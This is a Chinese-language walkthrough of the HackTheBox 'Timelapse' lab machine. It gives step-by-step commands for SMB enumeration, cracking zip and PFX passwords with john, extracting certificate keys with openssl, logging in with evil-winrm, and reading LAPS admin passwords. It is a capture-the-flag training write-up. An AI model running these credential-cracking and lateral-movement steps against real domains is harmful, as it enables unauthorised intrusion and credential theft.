HTB-Timelapse

NMAP的端口枚举

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ','

53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49688,4969

5

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd

',')

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ echo $ports

53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49688,4969

5

smb

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ smbmap -H 10.129.82.223 -u guest -R

smbclient -L //dc01.timelapse.htb

smbclient //dc01.timelapse.htb/IPC$

smb里NETLOGON和SYSVOL⼀般是域控制器（DC）的标准配置

LAPS

Windows本地管理员密码解决⽅案（Windows LAPS，Windows Local Administrator Password

Solution）是Windows的⼀个功能，它可以⾃动管理和备份Azure Active Directory加⼊或Windows

Server Active Directory加⼊设备上本地管理员账户的密码。您还可以使⽤Windows LAPS⾃动管理和备份Windows Server Active Directory域控制器上的⽬录服务还原模式（DSRM）账户密码。授权管理员

可以检索DSRM密码并使⽤它。

zip破解

unzip -l winrm_backup.zip 可以罗列里面的内容

zip2john winrm_backup.zip > winrm_backup.zip.hash

john winrm_backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

解压后有pfx

pfx

这三篇⽂章都会给你讲解pfx⽂件及其敏感⽂件提取⽅式：

\1. Understanding PFX File with Examples - howtouselinux 很简洁准确

\2. Extracting the certificate and keys from a .pfx file - IBM Documentation：

IBM Documentation

\3. PFX证书导出公钥和私钥 pfx 证书导出公钥和私钥「建议收藏」-腾讯云开发者社区-腾讯云?

from=article.detail.1971129&areaSource=106000.18&traceId=c_TFRJePnTf1bdA4Igqsm

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key

但是需要密码

尝试破解

pfx2john legacyy_dev_auth.pfx | tee legacyy_dev_auth.pfx.hash

john legacyy_dev_auth.pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt

成功得到密码

提取密钥

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key-enc

输入密码后，要输入PEM pass phrase随便设置，我设置为1234

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ ls legacyy_dev_auth.key

legacyy_dev_auth.key-enc

⽤刚设置的密码解密密钥

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ openssl rsa -in legacyy_dev_auth.key-enc -out legacyy_dev_auth.key

Enter pass phrase for legacyy_dev_auth.key-enc:

writing RSA key

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ ls legacyy_dev_auth.*

legacyy_dev_auth.key legacyy_dev_auth.key-enc legacyy_dev_auth.pfx

legacyy_dev_auth.pfx.hash

其实openssl rsa的破解不破解也是也可以的。

提取证书

──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -outlegacyy_dev_auth.crt

Enter Import Password:

两个⽂件都已经成功获取：

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ ls legacyy_dev_auth.*

legacyy_dev_auth.crt legacyy_dev_auth.key legacyy_dev_auth.key-enc

legacyy_dev_auth.pfx legacyy_dev_auth.pfx.hash

evil-winrm证书横向

获得系统初始⽴⾜点，注意使⽤证书登录通常需要启⽤SSL（Secure Sockets Layer）加密，即给定-S

选项。证书连接⽅式和5986端⼝（⽽不是5985）都有-S的需求。

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/Timelapse]

└─$ evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

提权

枚举历史命令（在这个文件下）

type

C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHo

st_history.txt

获得另外一个用户密码

LAPS

属LAPS_Readers组。可以读取LAPS。

使⽤LAPS（Local Administrator Password Solution），域控制器可以管理域中计算机的本地管理员密

码。通常会创建⼀个⽤户组，并赋予其读取这些密码的权限，从⽽允许可信管理员访问所有本地管理员

密码。

要读取LAPS（本地管理员密码解决⽅案）密码，只需要使⽤Get-ADComputer命令，并明确请求ms

mcs-admpwd属性即可：

Evil-WinRM PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -property 'ms

mcs-admpwd'